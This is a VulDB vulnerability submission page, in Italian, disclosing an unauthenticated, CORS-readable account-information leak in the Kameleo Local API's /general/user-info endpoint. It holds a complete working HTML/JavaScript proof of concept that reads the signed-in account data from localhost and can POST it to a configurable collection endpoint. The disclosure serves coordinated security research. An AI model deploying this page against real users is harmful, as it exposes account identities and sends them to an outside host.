Invia #1011370: https://kameleo.io/ Kameleo 5.0.1.26 Sensitive Information Disclosureinformazioni

Titolohttps://kameleo.io/ Kameleo 5.0.1.26 Sensitive Information Disclosure
Descrizione## Vulnerability Description The cross-origin account-information disclosure vulnerability exposes data returned by `GET /general/user-info` to an unrelated website. The vulnerability is triggered when the Kameleo Engine is running, the victim opens attacker-controlled content, the Local API accepts the request without caller authentication, and its CORS and private-network policy permits the attacking origin to read the response. The vulnerability can disclose the current Kameleo account identity and any tenant, plan, subscription, or account metadata contained in the response. The disclosed values can identify the local user, correlate browsing activity with a Kameleo account, and provide context for follow-on attacks against other Local API functions. ## Vulnerability Principle The account-information disclosure vulnerability is caused by an unenforced trust boundary between browser-origin JavaScript and the loopback API. Its actual data flow is: untrusted origin → CORS `fetch()` → `/general/user-info` → account object → JavaScript response body. A browser makes the response readable only when the server's CORS policy authorizes the requesting origin, so successful exploitation requires permissive or reflected CORS behavior as well as any required private-network permission. Once those browser checks pass, the absence of a server-side bearer credential, origin-bound session, or trusted-client proof allows sensitive account data to cross from the desktop application into arbitrary web content. ## Vulnerability PoC The following PoC is copied verbatim from `02-account-info.html`: ````html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>② Account information exposure</title> <style> :root { --bg:#0f1115; --card:#171a21; --line:#262b36; --fg:#e6e9ef; --mut:#9aa4b2; --ok:#2bd873; --warn:#f5a524; --bad:#ff5c5c; --acc:#4c9aff; } * { box-sizing:border-box; } body { margin:0 auto; max-width:900px; padding:24px; background:var(--bg); color:var(--fg); font:14px/1.55 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif; } h1 { font-size:20px; margin:0 0 4px; } .sub,.desc { color:var(--mut); } .sub { margin:0 0 18px; } .cfg,.card { background:var(--card); border:1px solid var(--line); border-radius:10px; padding:14px 16px; margin-bottom:14px; } .cfg { position:sticky; top:0; z-index:2; } .kv { display:flex; flex-wrap:wrap; gap:8px 14px; align-items:center; } .kv b { color:var(--mut); font-weight:600; } code,.mono { font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace; } .ep { color:var(--acc); font-size:12px; margin:4px 0; } button { background:#222835; color:var(--fg); border:1px solid var(--line); border-radius:7px; padding:8px 14px; font-size:13px; cursor:pointer; margin:8px 6px 6px 0; } button:hover { border-color:var(--acc); } button.danger { border-color:#4a2020; background:#2a1414; color:#ff9a9a; } input { background:#0d0f14; color:var(--fg); border:1px solid var(--line); border-radius:6px; padding:6px 9px; font-size:13px; } pre { background:#0d0f14; border:1px solid var(--line); border-radius:8px; padding:11px; overflow:auto; max-height:420px; font-size:12px; white-space:pre-wrap; word-break:break-word; margin:6px 0 0; } pre:empty::before { content:"Output will appear here after you click the button."; color:#5b6373; } .ok{color:var(--ok)} .bad{color:var(--bad)} .warn{color:var(--warn)} .tag { display:inline-block; font-size:10px; font-weight:700; padding:1px 7px; border-radius:20px; margin-left:6px; vertical-align:middle; } .t-read{background:#2a2410;color:var(--warn)} .t-write{background:#2a1414;color:var(--bad)} a { color:var(--acc); } </style> </head> <body> <h1>② Account information exposure <span class="tag t-read">READ</span></h1> <p class="sub">Single-feature standalone test page; target: <span class="mono ok" id="tgt">localhost:5050</span>. <a href="index.html">Back to feature list</a></p> <div class="cfg"> <div class="kv"> <span><b>Target:</b> <input id="host" value="localhost" size="10" onchange="refresh()">:<input id="port" value="5050" size="5" onchange="refresh()"></span> <span><b>Optional collection endpoint:</b> <input id="beacon" placeholder="https://example.test/collect" size="30"></span> </div> </div> <div class="card"> <div class="ep mono">GET /general/user-info</div> <div class="desc">Reads the currently signed-in account information when the response is readable through CORS; otherwise shows the reached state.</div> <button onclick="account()">Read account</button> <pre id="out"></pre> </div> <script> const $ = id => document.getElementById(id); const B = () => 'http://' + $('host').value.trim() + ':' + $('port').value.trim(); function refresh(){ $('tgt').textContent = $('host').value.trim()+':'+$('port').value.trim(); } function set(el, msg, cls){ $(el).innerHTML = cls?'<span class="'+cls+'">'+msg+'</span>':msg; } function pretty(v){ try{ return JSON.stringify(v,null,2);}catch(_){return String(v);} } async function beacon(tag, data){ const el=$('beacon'); const url=el?el.value.trim():''; if(!url) return; try{ await fetch(url,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({tag,page:location.href,target:B(),ts:Date.now(),data})}); }catch(_){} } async function reach(path, method='GET'){ try{ await fetch(B()+path,{method,mode:'no-cors',cache:'no-store'}); return {reached:true}; } catch(e){ return {reached:false, err:e.message}; } } async function read(path, method='GET'){ const r=await fetch(B()+path,{method,mode:'cors',cache:'no-store'}); const txt=await r.text(); let json=null; try{json=JSON.parse(txt);}catch(_){} return {status:r.status, txt, json}; } window.addEventListener('DOMContentLoaded', refresh); async function account(){ set('out','GET /general/user-info ...'); try{ const r=await read('/general/user-info'); set('out','Status '+r.status+'\n'+pretty(r.json??r.txt)); beacon('account',r.json??r.txt); } catch(e){ set('out','CORS blocked response reading, but the request reached the engine: '+e.message,'warn'); } } </script> </body> </html> ````
Fonte⚠️ https://drive.google.com/file/d/1lKWdsneSk1a4XZI0FW0Avzso3Oi8ajCS/view?usp=drive_link
Utente
 researchersongwu (UID 100991)
Sottomissione02/10/2026 13:55 (24 giorni fa)
Moderazione25/10/2026 20:17 (23 days later)
StatoAccettato
Voce VulDB426309 [Kameleo fino a 5.3.1 Local API /general/user-info rivelazione di informazioni]
Punti20

Might our Artificial Intelligence support you?

Check our Alexa App!